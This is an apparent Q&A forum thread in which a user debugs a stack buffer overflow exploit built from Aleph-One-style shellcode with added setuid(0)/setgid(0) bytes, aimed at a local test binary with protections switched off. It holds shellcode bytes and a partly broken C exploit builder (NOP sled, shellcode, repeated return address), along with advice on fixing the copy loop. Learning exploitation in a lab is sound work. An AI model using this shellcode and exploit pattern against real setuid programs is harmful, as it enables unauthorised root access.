I tried to exploiting buffer overflow. In the exploit code I use the Aleph-One shellcode.


Exploitation is normal, but I modified a little shellcode In order to execute setuid(0) and setgid(0), on exploit I have changed the owner of the exploit into root.

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0)
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" // setgid(0)

When in execution, I get the message Illegal Instruction (core dumped)


  1. I have disabled ASLR
  2. The vulnerable and exploit programs are compiled using flag -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

Complete exploit code :

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char *prog = "./bof4";
char shellcode[] = 

int main (int argc, char **argv) {
    char buff[111];
    int i, j;
    int addr;

    if (argc > 1)
            sscanf(*(argv+1), "%x", &addr);
    for (i = 0; i < 35; i++) {
            *(buff+i) = 0x90;
    for (j = 0; j < 45; j++, i++) {
            *(buff+i) = *(shellcode+j);
    for (; i + 4 < 110; i += 4) {
            memcpy(buff+i, &addr, 4);
    buff[108] = 0;
    fwrite(buff, strlen(buff), 1, stdout);

Can anyone explain ?

1 Answer 1


Just by guessing as you has the core dump and could check that for sure.

Isn't your issue that the exploit was 45 bytes long and this is what you iterate in the second loop and now when you added more code (setuid(0) & setgid(0)) the loop just finishes in the middle?

Extend your second loop by 16 and check.

for (j = 0; j < 61; j++, i++) {
    *(buff+i) = *(shellcode+j);
  • Why I get Segmentation fault (core dumped) ? Do I have to change 35 bytes on the first loop ? Commented May 22, 2017 at 6:20
  • the first loop looks like nop-sled, I don't think it matters. If you have the dump can you check where it fails? Commented May 22, 2017 at 6:28
  • I do not have core file Commented May 22, 2017 at 6:43
  • set the ulimit and repeat. The core should be created Commented May 22, 2017 at 7:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.